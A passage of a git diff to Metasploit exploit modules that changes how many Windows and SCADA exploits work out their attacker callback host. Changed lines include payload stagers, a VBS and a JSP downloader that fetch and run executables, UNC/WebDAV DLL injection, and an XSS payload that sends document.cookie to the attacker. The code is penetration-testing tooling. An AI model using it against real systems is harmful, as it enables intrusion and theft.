+          'SRVHOST' => '0.0.0.0',
           'EXITFUNC' => 'thread'
         },
         'DisclosureDate' => '2017-03-04',
@@ -53,7 +54,18 @@ def initialize(info = {})
   end
 
   def exploit
-    print_status("Please ask your target(s) to connect to #{Rex::Socket.to_authority(srvhost_addr, srvport)}")
+    srv_ip_for_client = datastore['SRVHOST']
+    if srv_ip_for_client == '0.0.0.0'
+      if datastore['LHOST']
+        srv_ip_for_client = datastore['LHOST']
+      else
+        srv_ip_for_client = Rex::Socket.source_address('50.50.50.50')
+      end
+    end
+
+    srv_port = datastore['SRVPORT']
+
+    print_status("Please ask your target(s) to connect to #{srv_ip_for_client}:#{srv_port}")
     super
   end
 
diff --git a/modules/exploits/windows/ftp/labf_nfsaxe.rb b/modules/exploits/windows/ftp/labf_nfsaxe.rb
index 0412c33d66a74..6949f5d0ed556 100644
--- a/modules/exploits/windows/ftp/labf_nfsaxe.rb
+++ b/modules/exploits/windows/ftp/labf_nfsaxe.rb
@@ -37,6 +37,9 @@ def initialize(info = {})
           [ 'Windows Universal', { 'Ret' => 0x6801549F } ]
         ],
         'Privileged' => false,
+        'DefaultOptions' => {
+          'SRVHOST' => '0.0.0.0',
+        },
         'DisclosureDate' => '2017-05-15',
         'DefaultTarget' => 0,
         'Notes' => {
@@ -55,7 +58,18 @@ def initialize(info = {})
   end
 
   def exploit
-    print_status("Please ask your target(s) to connect to #{Rex::Socket.to_authority(srvhost_addr, srvport)}")
+    srv_ip_for_client = datastore['SRVHOST']
+    if srv_ip_for_client == '0.0.0.0'
+      if datastore['LHOST']
+        srv_ip_for_client = datastore['LHOST']
+      else
+        srv_ip_for_client = Rex::Socket.source_address('50.50.50.50')
+      end
+    end
+
+    srv_port = datastore['SRVPORT']
+
+    print_status("Please ask your target(s) to connect to #{srv_ip_for_client}:#{srv_port}")
     super
   end
 
diff --git a/modules/exploits/windows/ftp/open_ftpd_wbem.rb b/modules/exploits/windows/ftp/open_ftpd_wbem.rb
index 172028b2caef3..bc9d1928b7203 100644
--- a/modules/exploits/windows/ftp/open_ftpd_wbem.rb
+++ b/modules/exploits/windows/ftp/open_ftpd_wbem.rb
@@ -109,8 +109,8 @@ def upload(filename)
     send_cmd(['TYPE', 'I'], true, conn)
 
     # Prepare active mode: Get attacker's IP and source port
-    src_ip = srvhost_addr
-    src_port = srvport
+    src_ip = datastore['SRVHOST'] == '0.0.0.0' ? Rex::Socket.source_address : datastore['SRVHOST']
+    src_port = datastore['SRVPORT'].to_i
 
     # Prepare active mode: Convert the IP and port for active mode
     src_ip = src_ip.gsub(/\./, ',')
diff --git a/modules/exploits/windows/ftp/quickshare_traversal_write.rb b/modules/exploits/windows/ftp/quickshare_traversal_write.rb
index 2bc5947db2ce2..0255b3c32e4d2 100644
--- a/modules/exploits/windows/ftp/quickshare_traversal_write.rb
+++ b/modules/exploits/windows/ftp/quickshare_traversal_write.rb
@@ -124,8 +124,8 @@ def upload(filename)
     send_cmd(['TYPE', 'I'], true, conn)
 
     # Prepare active mode: Get attacker's IP and source port
-    src_ip = srvhost_addr
-    src_port = srvport
+    src_ip = datastore['SRVHOST'] == '0.0.0.0' ? Rex::Socket.source_address("50.50.50.50") : datastore['SRVHOST']
+    src_port = datastore['SRVPORT'].to_i
 
     # Prepare active mode: Convert the IP and port for active mode
     src_ip = src_ip.gsub(/\./, ',')
diff --git a/modules/exploits/windows/ftp/scriptftp_list.rb b/modules/exploits/windows/ftp/scriptftp_list.rb
index af7ca824539ab..afc34ed6f4aaa 100644
--- a/modules/exploits/windows/ftp/scriptftp_list.rb
+++ b/modules/exploits/windows/ftp/scriptftp_list.rb
@@ -74,7 +74,13 @@ def initialize(info = {})
   end
 
   def setup
-    ftp_file = "OPENHOST('#{srvhost_addr}','ftp','ftp')\r\n"
+    if datastore['SRVHOST'] == '0.0.0.0'
+      lhost = Rex::Socket.source_address('50.50.50.50')
+    else
+      lhost = datastore['SRVHOST']
+    end
+
+    ftp_file = "OPENHOST('#{lhost}','ftp','ftp')\r\n"
     ftp_file << "SETPASSIVE(ENABLED)\r\n"
     ftp_file << "GETLIST($list,REMOTE_FILES)\r\n"
     ftp_file << "CLOSEHOST\r\n"
diff --git a/modules/exploits/windows/http/ca_totaldefense_regeneratereports.rb b/modules/exploits/windows/http/ca_totaldefense_regeneratereports.rb
index 240a2aabcce66..003ebaa0378e6 100644
--- a/modules/exploits/windows/http/ca_totaldefense_regeneratereports.rb
+++ b/modules/exploits/windows/http/ca_totaldefense_regeneratereports.rb
@@ -60,8 +60,9 @@ def initialize(info = {})
   end
 
   def windows_stager
-    print_status("Sending request to #{Rex::Socket.to_authority(datastore['RHOST'], datastore['RPORT'])}")
-    execute_cmdstager({ temp: '.', tftphost: srvhost_addr })
+    print_status("Sending request to #{datastore['RHOST']}:#{datastore['RPORT']}")
+    tftphost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address : datastore['SRVHOST']
+    execute_cmdstager({ temp: '.', tftphost: tftphost })
     @payload_exe = generate_payload_exe
 
     print_status("Attempting to execute the payload...")
diff --git a/modules/exploits/windows/http/cogent_datahub_command.rb b/modules/exploits/windows/http/cogent_datahub_command.rb
index 7f23783b2e479..9dbe40758f69c 100644
--- a/modules/exploits/windows/http/cogent_datahub_command.rb
+++ b/modules/exploits/windows/http/cogent_datahub_command.rb
@@ -388,7 +388,7 @@ def on_new_session(session)
 
   def primer
     print_status("Sending injection...")
-    res = send_injection("\\\\\\\\#{srvhost_addr}\\\\#{@share_name}\\\\#{@basename}.dll")
+    res = send_injection("\\\\\\\\#{@myhost}\\\\#{@share_name}\\\\#{@basename}.dll")
     if res
       print_error("Unexpected answer")
     end
@@ -401,7 +401,13 @@ def exploit
       @extensions = "dll"
       @system_commands_file = rand_text_alpha_lower(4)
 
-      @exploit_unc = "\\\\#{srvhost_addr}\\"
+      if (datastore['SRVHOST'] == '0.0.0.0')
+        @myhost = Rex::Socket.source_address('50.50.50.50')
+      else
+        @myhost = datastore['SRVHOST']
+      end
+
+      @exploit_unc = "\\\\#{@myhost}\\"
 
       if datastore['SRVPORT'].to_i != 80 || datastore['URIPATH'] != '/'
         fail_with(Failure::BadConfig, 'Using WebDAV requires SRVPORT=80 and URIPATH=/')
diff --git a/modules/exploits/windows/http/manageengine_adaudit_plus_cve_2022_28219.rb b/modules/exploits/windows/http/manageengine_adaudit_plus_cve_2022_28219.rb
index 41bec9bfac388..c22883f01b46b 100644
--- a/modules/exploits/windows/http/manageengine_adaudit_plus_cve_2022_28219.rb
+++ b/modules/exploits/windows/http/manageengine_adaudit_plus_cve_2022_28219.rb
@@ -76,6 +76,14 @@ def initialize(info = {})
     ])
   end
 
+  def srv_host
+    if (datastore['SRVHOST'] == '0.0.0.0') || (datastore['SRVHOST'] == '::')
+      return datastore['URIHOST'] || Rex::Socket.source_address(rhost)
+    end
+
+    return datastore['SRVHOST']
+  end
+
   def check
     # Make sure it's ADAudit Plus by requesting the root and checking the title
     res1 = send_request_cgi(
@@ -197,19 +205,19 @@ def get_directory_listing(folder)
 
     # Generate a unique callback URL
     path = "/#{rand_text_alpha(rand(8..15))}.dtd"
-    full_url = "http://#{Rex::Socket.to_authority(srvhost_addr, srvport)}#{path}"
+    full_url = "http://#{srv_host}:#{datastore['SRVPORT']}#{path}"
 
     # Send the username anonymous and no password so the server doesn't log in
     # with the password "Java1.8.0_51@" which is detectable
     # We use `end_tag` at the end so we can detect when the listing is over
     end_tag = rand_text_alpha(rand(8..15))
-    ftp_url = "ftp://anonymous:password@#{Rex::Socket.to_authority(srvhost_addr, datastore['SRVPORT_FTP'])}/%file;#{end_tag}"
+    ftp_url = "ftp://anonymous:password@#{srv_host}:#{datastore['SRVPORT_FTP']}/%file;#{end_tag}"
     serve_http_file(path, "<!ENTITY % all \"<!ENTITY send SYSTEM '#{ftp_url}'>\"> %all;")
 
     # Start a server to handle the reverse FTP connection
     ftp_server = Rex::Socket::TcpServer.create(
       'LocalPort' => datastore['SRVPORT_FTP'],
-      'LocalHost' => bindhost,
+      'LocalHost' => datastore['SRVHOST'],
       'Comm' => select_comm,
       'Context' => {
         'Msf' => framework,
@@ -352,7 +360,7 @@ def upload_payload(payload, queue)
         # the user's temp folder while it waits for more data
         http_server = Rex::Socket::TcpServer.create(
           'LocalPort' => datastore['SRVPORT_HTTP2'],
-          'LocalHost' => bindhost,
+          'LocalHost' => srv_host,
           'Comm' => select_comm,
           'Context' => {
             'Msf' => framework,
@@ -392,7 +400,7 @@ def upload_payload(payload, queue)
 
     # Trigger the XXE to get file listings
     path = "/#{rand_text_alpha(rand(8..15))}.jar!/file.txt"
-    full_url = "http://#{Rex::Socket.to_authority(srvhost_addr, datastore['SRVPORT_HTTP2'])}#{path}"
+    full_url = "http://#{srv_host}:#{datastore['SRVPORT_HTTP2']}#{path}"
     res = send_request_cgi(
       'method' => 'POST',
       'uri' => normalize_uri(datastore['TARGETURI_XXE']).to_s,
diff --git a/modules/exploits/windows/http/northstar_c2_xss_to_agent_rce.rb b/modules/exploits/windows/http/northstar_c2_xss_to_agent_rce.rb
index fd355cabb2736..ed15216e7c272 100644
--- a/modules/exploits/windows/http/northstar_c2_xss_to_agent_rce.rb
+++ b/modules/exploits/windows/http/northstar_c2_xss_to_agent_rce.rb
@@ -206,14 +206,17 @@ def xor_strings(text, key)
     text.chars.map.with_index { |char, i| (char.ord ^ key[i % key.length].ord).chr }.join
   end
 
+  def srvhost
+    datastore['SRVHOST']
+  end
+
   def primer
     @xss_response_received = false
     vprint_status('Sending XSS')
     # divide up the host length so that it fits in our payload
-    host = srvhost_addr
-    h1 = host[0...host.length / 2]
-    h2 = host[host.length / 2..]
-    sid_payloads = ['*/</script><', '*/i.src=u/*', '*/new Image;/*', '*/var i=/*', "*/s+h+p+'/'+c;/*", '*/var u=/*', "*/'http://';/*", '*/var s=/*', "*/':#{srvport}';/*", '*/var p=/*', '*/a+b;/*', '*/var h=/*', "*/'#{h2}';/*", '*/var b=/*', "*/'#{h1}';/*", '*/var a=/*', '*/d.cookie;/*', '*/var c=/*', '*/document;/*', '*/var d=/*', '</td><script>/*']
+    h1 = srvhost[0...srvhost.length / 2]
+    h2 = srvhost[srvhost.length / 2..]
+    sid_payloads = ['*/</script><', '*/i.src=u/*', '*/new Image;/*', '*/var i=/*', "*/s+h+p+'/'+c;/*", '*/var u=/*', "*/'http://';/*", '*/var s=/*', "*/':#{datastore['SRVPORT']}';/*", '*/var p=/*', '*/a+b;/*', '*/var h=/*', "*/'#{h2}';/*", '*/var b=/*', "*/'#{h1}';/*", '*/var a=/*', '*/d.cookie;/*', '*/var c=/*', '*/document;/*', '*/var d=/*', '</td><script>/*']
     sid_payloads.each do |pload|
       pload = "N#{pload}q"
       vprint_status("Sending: #{pload}")
@@ -232,6 +235,7 @@ def primer
   end
 
   def exploit
+    fail_with(Failure::BadConfig, 'SRVHOST must be set to an IP address (0.0.0.0 is invalid) for exploitation to be successful') if Rex::Socket.is_ip_addr?(datastore['SRVHOST']) && Rex::Socket.addr_atoi(datastore['SRVHOST']) == 0
     fail_with(Failure::BadConfig, 'SRVPORT and FETCH_SRVPORT must be different') if datastore['SRVPORT'] == datastore['FETCH_SRVPORT']
     super
   end
diff --git a/modules/exploits/windows/http/osb_uname_jlist.rb b/modules/exploits/windows/http/osb_uname_jlist.rb
index 4c280fb83a33d..c8acada158594 100644
--- a/modules/exploits/windows/http/osb_uname_jlist.rb
+++ b/modules/exploits/windows/http/osb_uname_jlist.rb
@@ -62,8 +62,9 @@ def initialize(info = {})
   end
 
   def windows_stager
-    print_status("Sending request to #{Rex::Socket.to_authority(datastore['RHOST'], datastore['RPORT'])}")
-    execute_cmdstager({ temp: '.', tftphost: srvhost_addr })
+    print_status("Sending request to #{datastore['RHOST']}:#{datastore['RPORT']}")
+    tftphost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address : datastore['SRVHOST']
+    execute_cmdstager({ temp: '.', tftphost: tftphost })
     @payload_exe = generate_payload_exe
 
     print_status("Attempting to execute the payload...")
diff --git a/modules/exploits/windows/http/sap_host_control_cmd_exec.rb b/modules/exploits/windows/http/sap_host_control_cmd_exec.rb
index bd3dd398acd58..65b3689ac261f 100644
--- a/modules/exploits/windows/http/sap_host_control_cmd_exec.rb
+++ b/modules/exploits/windows/http/sap_host_control_cmd_exec.rb
@@ -403,7 +403,9 @@ def exploit
     @extensions = "exe"
     @system_commands_file = rand_text_alpha_lower(4)
 
-    @exploit_unc = "\\\\#{srvhost_addr}\\"
+    myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address('50.50.50.50') : datastore['SRVHOST']
+
+    @exploit_unc = "\\\\#{myhost}\\"
 
     if datastore['SRVPORT'].to_i != 80 || datastore['URIPATH'] != '/'
       fail_with(Failure::Unknown, 'Using WebDAV requires SRVPORT=80 and URIPATH=/')
diff --git a/modules/exploits/windows/http/solarwinds_storage_manager_sql.rb b/modules/exploits/windows/http/solarwinds_storage_manager_sql.rb
index 81f83d37fd7af..c066fbeca814f 100644
--- a/modules/exploits/windows/http/solarwinds_storage_manager_sql.rb
+++ b/modules/exploits/windows/http/solarwinds_storage_manager_sql.rb
@@ -117,6 +117,9 @@ def on_client_connect(cli)
   # Generate a download+exe JSP payload
   #
   def generate_jsp_payload
+    my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address("50.50.50.50") : datastore['SRVHOST']
+    my_port = datastore['SRVPORT']
+
     # tmp folder = C:\Program Files\SolarWinds\Storage Manager Server\temp\
     # This will download our malicious executable in base64 format, decode it back,
     # save it as a temp file, and then finally execute it.
@@ -130,7 +133,7 @@ def generate_jsp_payload
     byte[] shellcode = null;
     BufferedOutputStream outstream = null;
     try {
-      Socket s = new Socket("#{srvhost_addr}", #{srvport});
+      Socket s = new Socket("#{my_host}", #{my_port});
       BufferedReader r = new BufferedReader(new InputStreamReader(s.getInputStream()));
       while (buf.length() < #{@native_payload.length}) {
         buf.append( (char) r.read());
@@ -234,7 +237,7 @@ def exploit
 
     begin
       t = framework.threads.spawn("reqs", false) { inject_exec }
-      print_status("Serving executable on #{Rex::Socket.to_authority(bindhost, bindport)}")
+      print_status("Serving executable on #{datastore['SRVHOST']}:#{datastore['SRVPORT']}")
       super
     ensure
       t.kill
diff --git a/modules/exploits/windows/iis/ms01_026_dbldecode.rb b/modules/exploits/windows/iis/ms01_026_dbldecode.rb
index df694173a0cd4..5b04f9c1302a0 100644
--- a/modules/exploits/windows/iis/ms01_026_dbldecode.rb
+++ b/modules/exploits/windows/iis/ms01_026_dbldecode.rb
@@ -179,11 +179,12 @@ def exploit
         print_error('No reply')
       end
     when :win_dropper
+      tftphost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address : datastore['SRVHOST']
       execute_cmdstager(
         temp: '.',
         linemax: 1_400,
         cgifname: @cmd_exe_fname,
-        tftphost: srvhost_addr,
+        tftphost: tftphost,
         # Force noconcat so we can skip the "start" command in execute_command method
         noconcat: true,
         # We can't delete the payload while it is running, so don't try
diff --git a/modules/exploits/windows/iis/msadc.rb b/modules/exploits/windows/iis/msadc.rb
index 9b64306b6be24..df77aaa77671e 100644
--- a/modules/exploits/windows/iis/msadc.rb
+++ b/modules/exploits/windows/iis/msadc.rb
@@ -344,7 +344,8 @@ def exploit
       res = exec_cmd(y, "cmd /c copy cmd.exe \\inetpub\\scripts\\#{exe_fname}", z)
 
       # Use the CMD stager to get a payload running
-      execute_cmdstager({ temp: '.', tftphost: srvhost_addr, linemax: 1_400, cgifname: exe_fname, noconcat: true })
+      tftphost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address : datastore['SRVHOST']
+      execute_cmdstager({ temp: '.', tftphost: tftphost, linemax: 1_400, cgifname: exe_fname, noconcat: true })
 
       # Save these file names for later deletion
       @exe_cmd_copy = exe_fname
diff --git a/modules/exploits/windows/misc/altiris_ds_sqli.rb b/modules/exploits/windows/misc/altiris_ds_sqli.rb
index 50d4f1c71cfe5..548c0cc26b661 100644
--- a/modules/exploits/windows/misc/altiris_ds_sqli.rb
+++ b/modules/exploits/windows/misc/altiris_ds_sqli.rb
@@ -178,7 +178,8 @@ def exploit
     # CmdStagerVBS was tested here as well, however delivery took roughly
     # 30 minutes and required sending almost 350 notification messages.
     # size constraint requirement for SQLi is: linemax => 393
-    execute_cmdstager({ delay: 1.5, tftphost: srvhost_addr, temp: '%TEMP%\\', flavor: :tftp })
+    tftphost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address : datastore['SRVHOST']
+    execute_cmdstager({ delay: 1.5, tftphost: tftphost, temp: '%TEMP%\\', flavor: :tftp })
   end
 
   def on_new_session(client)
diff --git a/modules/exploits/windows/misc/hp_dataprotector_install_service.rb b/modules/exploits/windows/misc/hp_dataprotector_install_service.rb
index 7ad2d6e7ea09b..2379232f6ece8 100644
--- a/modules/exploits/windows/misc/hp_dataprotector_install_service.rb
+++ b/modules/exploits/windows/misc/hp_dataprotector_install_service.rb
@@ -112,7 +112,7 @@ def primer
     print_status("File available on #{unc}...")
     vprint_status("#{peer} - Trying to execute remote EXE...")
 
-    lhost = "#{srvhost_addr}"
+    lhost = "#{datastore['SRVHOST']}"
     lhostfull = ""
     lhost.each_char do |character|
       lhostfull = lhostfull << "\x00" << character
diff --git a/modules/exploits/windows/misc/ibm_director_cim_dllinject.rb b/modules/exploits/windows/misc/ibm_director_cim_dllinject.rb
index 7114cbe51e7fd..7e74ffda91432 100644
--- a/modules/exploits/windows/misc/ibm_director_cim_dllinject.rb
+++ b/modules/exploits/windows/misc/ibm_director_cim_dllinject.rb
@@ -269,7 +269,8 @@ def exploit
   def primer
     basename = rand_text_alpha(3)
     share_name = rand_text_alpha(3)
-    exploit_unc = "\\\\#{srvhost_addr}\\"
+    myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address : datastore['SRVHOST']
+    exploit_unc = "\\\\#{myhost}\\"
 
     vprint_status("Payload available at #{exploit_unc}#{share_name}\\#{basename}.dll")
 
diff --git a/modules/exploits/windows/misc/mini_stream.rb b/modules/exploits/windows/misc/mini_stream.rb
index e786f9c939b9b..00fcac18d3d45 100644
--- a/modules/exploits/windows/misc/mini_stream.rb
+++ b/modules/exploits/windows/misc/mini_stream.rb
@@ -73,7 +73,8 @@ def initialize(info = {})
 
   def on_request_uri(cli, request)
     # Calculate the correct offset
-    host = "#{Rex::Socket.to_authority(srvhost_addr, srvport)}/"
+    host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
+    host << ":#{datastore['SRVPORT']}/"
     offset = target['Offset'] - host.length
 
     # Construct our buffer
diff --git a/modules/exploits/windows/misc/nvidia_mental_ray.rb b/modules/exploits/windows/misc/nvidia_mental_ray.rb
index cf1137b4ba299..5228d45e7e386 100644
--- a/modules/exploits/windows/misc/nvidia_mental_ray.rb
+++ b/modules/exploits/windows/misc/nvidia_mental_ray.rb
@@ -129,10 +129,15 @@ def send_exploit
   def create_listen_port
     port = datastore['LISTEN_PORT']
 
-    comm = _determine_server_comm(bindhost)
+    comm = datastore['ListenerComm']
+    if comm == "local"
+      comm = ::Rex::Socket::Comm::Local
+    else
+      comm = nil
+    end
 
     @listener = Rex::Socket::TcpServer.create(
-      'LocalHost' => bindhost,
+      'LocalHost' => datastore['SRVHOST'],
       'LocalPort' => port,
       'Comm' => comm,
       'Context' => {
diff --git a/modules/exploits/windows/misc/vmhgfs_webdav_dll_sideload.rb b/modules/exploits/windows/misc/vmhgfs_webdav_dll_sideload.rb
index 03128308c0edc..d0b97a38008ba 100644
--- a/modules/exploits/windows/misc/vmhgfs_webdav_dll_sideload.rb
+++ b/modules/exploits/windows/misc/vmhgfs_webdav_dll_sideload.rb
@@ -80,6 +80,9 @@ def on_request_uri(cli, request)
   end
 
   def process_get(cli, request)
+    myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
+    webdav = "\\\\#{myhost}\\"
+
     if (request.uri =~ /vmhgfs\.dll$/i)
       print_status("GET => DLL Payload (#{request.uri})")
       return if ((p = regenerate_payload(cli)) == nil)
@@ -136,8 +139,13 @@ def process_options(cli, request)
   def process_propfind(cli, request)
     path = request.uri
     print_status("PROPFIND #{path}")
+    body = ''
+
+    my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
+    my_uri = "http://#{my_host}/"
 
     if path !~ /\/$/
+
       if blacklisted_path?(path)
         print_status "PROPFIND => 404 (#{path})"
         resp = create_response(404, "Not Found")
@@ -332,7 +340,9 @@ def blacklisted_path?(uri)
   end
 
   def exploit
-    @exploit_unc = "\\\\#{srvhost_addr}\\"
+    myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address('50.50.50.50') : datastore['SRVHOST']
+
+    @exploit_unc = "\\\\#{myhost}\\"
 
     if datastore['SRVPORT'].to_i != 80 || datastore['URIPATH'] != '/'
       fail_with(Failure::Unknown, 'Using WebDAV requires SRVPORT=80 and URIPATH=/')
diff --git a/modules/exploits/windows/misc/webdav_delivery.rb b/modules/exploits/windows/misc/webdav_delivery.rb
index c5e3764b35727..73686aab7677d 100644
--- a/modules/exploits/windows/misc/webdav_delivery.rb
+++ b/modules/exploits/windows/misc/webdav_delivery.rb
@@ -58,9 +58,9 @@ def primer
       if datastore['SRVPORT'] != 443
         fail_with(Failure::BadConfig, 'SRVPORT must be 443')
       end
-      webdav = "#{srvhost_addr}@ssl"
+      webdav = "#{datastore['SRVHOST']}@ssl"
     else
-      webdav = "#{srvhost_addr}@#{datastore['SRVPORT']}"
+      webdav = "#{datastore['SRVHOST']}@#{datastore['SRVPORT']}"
     end
     print_line("rundll32.exe \\\\#{webdav}\\ANYTHING,Init")
   end
diff --git a/modules/exploits/windows/mssql/mssql_payload.rb b/modules/exploits/windows/mssql/mssql_payload.rb
index 727088b2f3aec..a1fdb56b94662 100644
--- a/modules/exploits/windows/mssql/mssql_payload.rb
+++ b/modules/exploits/windows/mssql/mssql_payload.rb
@@ -113,7 +113,8 @@ def exploit
     method = datastore['METHOD'].downcase
 
     if (method =~ /^cmd/)
-      execute_cmdstager({ linemax: 1500, tftphost: srvhost_addr, nodelete: true })
+      tftphost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address : datastore['SRVHOST']
+      execute_cmdstager({ linemax: 1500, tftphost: tftphost, nodelete: true })
     else
       # Generate the EXE, this is the same no matter what delivery mechanism we use
       exe = generate_payload_exe
diff --git a/modules/exploits/windows/novell/netiq_pum_eval.rb b/modules/exploits/windows/novell/netiq_pum_eval.rb
index cdea253380054..9880aa9c3fdca 100644
--- a/modules/exploits/windows/novell/netiq_pum_eval.rb
+++ b/modules/exploits/windows/novell/netiq_pum_eval.rb
@@ -138,6 +138,15 @@ def on_request_uri(cli, request)
     @exe_sent = true
   end
 
+  def lookup_lhost()
+    # Get the source address
+    if datastore['SRVHOST'] == '0.0.0.0'
+      Rex::Socket.source_address('50.50.50.50')
+    else
+      datastore['SRVHOST']
+    end
+  end
+
   def fake_login
     data = "\x00\x00\x00\x00\x00\x01\x00\x15\x53\x50\x46\x2e\x55\x74"          #  ..........SPF.Ut
     data << "\x69\x6c\x2e\x63\x61\x6c\x6c\x4d\x6f\x64\x75\x6c\x65\x45\x78\x00" #  il.callModuleEx.
@@ -184,7 +193,7 @@ def exploit
     print_status("Setting up the Web Service...")
     datastore['SSL'] = false
     resource_uri = '/' + exename + '.exe'
-    service_url = "http://#{Rex::Socket.to_authority(srvhost_addr, srvport)}#{resource_uri}"
+    service_url = "http://#{lookup_lhost}:#{datastore['SRVPORT']}#{resource_uri}"
     print_status("Starting up our web service on #{service_url} ...")
     start_service({
       'Uri' => {
diff --git a/modules/exploits/windows/scada/ge_proficy_cimplicity_gefebt.rb b/modules/exploits/windows/scada/ge_proficy_cimplicity_gefebt.rb
index 2701653bea59a..c0c9af49a704e 100644
--- a/modules/exploits/windows/scada/ge_proficy_cimplicity_gefebt.rb
+++ b/modules/exploits/windows/scada/ge_proficy_cimplicity_gefebt.rb
@@ -202,9 +202,10 @@ def exploit
   def setup_resources
     if datastore['UNCPATH'].blank?
       # Using WebDAV
+      my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address('50.50.50.50') : datastore['SRVHOST']
       @basename = rand_text_alpha(3)
       @share_name = rand_text_alpha(3)
-      @exploit_unc = "\\\\#{srvhost_addr}\\"
+      @exploit_unc = "\\\\#{my_host}\\"
       @exe_filename = "#{rand_text_alpha(3 + rand(4))}.exe"
       unless datastore['SRVPORT'].to_i == 80 && datastore['URIPATH'] == '/'
         fail_with(Failure::BadConfig, 'Using WebDAV requires SRVPORT=80 and URIPATH=/')
diff --git a/modules/exploits/windows/scada/rockwell_factorytalk_rce.rb b/modules/exploits/windows/scada/rockwell_factorytalk_rce.rb
index d04faa21c6f20..c98d138961582 100644
--- a/modules/exploits/windows/scada/rockwell_factorytalk_rce.rb
+++ b/modules/exploits/windows/scada/rockwell_factorytalk_rce.rb
@@ -66,6 +66,7 @@ def initialize(info = {})
     register_options(
       [
         Opt::RPORT(80),
+        OptString.new('SRVHOST', [true, 'IP address of the host serving the exploit']),
         OptInt.new('SRVPORT', [true, 'Port of the host serving the exploit on', 8080]),
         OptString.new('TARGETURI', [true, 'The base path to Rockwell FactoryTalk', '/rsviewse/'])
       ]
@@ -184,7 +185,8 @@ def exploit
     print_good("#{peer} - Got a path to drop our shell: #{shell_path}")
 
     # Start http server for project copy callback
-    print_status("#{peer} - Starting up our web service on http://#{Rex::Socket.to_authority(bindhost, bindport)}/...")
+    http_service = "http://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}"
+    print_status("#{peer} - Starting up our web service on #{http_service} ...")
 
     start_service({
       'Uri' => {
@@ -212,7 +214,7 @@ def exploit
 
     # Project Copy Request: target will connect to us to obtain project information.
     print_status("#{peer} - Initiating project copy request...")
-    url = "/hmi_isapi.dll?StartRemoteProjectCopy&#{@proj_name}&#{rand_text_alpha(5..13)}&#{srvhost_addr}:#{datastore['SRVPORT']}&1"
+    url = "/hmi_isapi.dll?StartRemoteProjectCopy&#{@proj_name}&#{rand_text_alpha(5..13)}&#{datastore['SRVHOST']}:#{datastore['SRVPORT']}&1"
     res = send_to_factory(url)
 
     # wait up to datastore['SLEEP_RACER'] seconds for the racer thread to finish
diff --git a/modules/exploits/windows/scada/scadapro_cmdexe.rb b/modules/exploits/windows/scada/scadapro_cmdexe.rb
index c1eb620fe3d08..908d2af70a88f 100644
--- a/modules/exploits/windows/scada/scadapro_cmdexe.rb
+++ b/modules/exploits/windows/scada/scadapro_cmdexe.rb
@@ -74,7 +74,7 @@ def build_vbs(url, stager_name)
     tmp = "#{@temp_folder}/#{stager_name}"
 
     vbs = "echo Set #{name_xmlhttp} = CreateObject(\"Microsoft.XMLHTTP\") "
-    vbs << ": #{name_xmlhttp}.open \"GET\",\"#{url}\",False : #{name_xmlhttp}.send"
+    vbs << ": #{name_xmlhttp}.open \"GET\",\"http://#{url}\",False : #{name_xmlhttp}.send"
     vbs << ": Set #{name_adodb} = CreateObject(\"ADODB.Stream\") "
     vbs << ": #{name_adodb}.Open : #{name_adodb}.Type=1 "
     vbs << ": #{name_adodb}.Write #{name_xmlhttp}.responseBody "
@@ -101,10 +101,14 @@ def exploit
     @payload_name = rand_text_alpha(4)
     @temp_folder = "C:/Windows/Temp"
 
-    payload_src = "http://#{Rex::Socket.to_authority(srvhost_addr, srvport)}/"
-    payload_src << datastore['URIPATH'].delete_prefix('/')
-    payload_src << '/' unless payload_src.end_with?('/')
-    payload_src << "#{@payload_name}.exe"
+    if datastore['SRVHOST'] == '0.0.0.0'
+      lhost = Rex::Socket.source_address('50.50.50.50')
+    else
+      lhost = datastore['SRVHOST']
+    end
+
+    payload_src = lhost
+    payload_src << ":#{datastore['SRVPORT']}#{datastore['URIPATH']}#{@payload_name}.exe"
 
     stager_name = rand_text_alpha(6) + ".vbs"
     stager = build_vbs(payload_src, stager_name)
diff --git a/modules/payloads/singles/java/shell_reverse_tcp.rb b/modules/payloads/singles/java/shell_reverse_tcp.rb
index 1bffe10027e0d..97b9e2cac9d5c 100644
--- a/modules/payloads/singles/java/shell_reverse_tcp.rb
+++ b/modules/payloads/singles/java/shell_reverse_tcp.rb
@@ -4,7 +4,7 @@
 ##
 
 module MetasploitModule
-  CachedSize = 7500
+  CachedSize = 7497
 
   include Msf::Payload::Single
   include Msf::Payload::Java
diff --git a/modules/payloads/stagers/java/bind_tcp.rb b/modules/payloads/stagers/java/bind_tcp.rb
index 86e954b8fc2cc..d118991612937 100644
--- a/modules/payloads/stagers/java/bind_tcp.rb
+++ b/modules/payloads/stagers/java/bind_tcp.rb
@@ -4,7 +4,7 @@
 ##
 
 module MetasploitModule
-  CachedSize = 5259
+  CachedSize = 5256
 
   include Msf::Payload::Stager
   include Msf::Payload::Java
diff --git a/modules/payloads/stagers/java/reverse_tcp.rb b/modules/payloads/stagers/java/reverse_tcp.rb
index 195a9cf3ae3c2..72b3d6b475d73 100644
--- a/modules/payloads/stagers/java/reverse_tcp.rb
+++ b/modules/payloads/stagers/java/reverse_tcp.rb
@@ -4,7 +4,7 @@
 ##
 
 module MetasploitModule
-  CachedSize = 5259
+  CachedSize = 5256
 
   include Msf::Payload::Stager
   include Msf::Payload::Java
diff --git a/modules/post/linux/busybox/set_dns.rb b/modules/post/linux/busybox/set_dns.rb
index aae8d74302731..d20985f58942e 100644
--- a/modules/post/linux/busybox/set_dns.rb
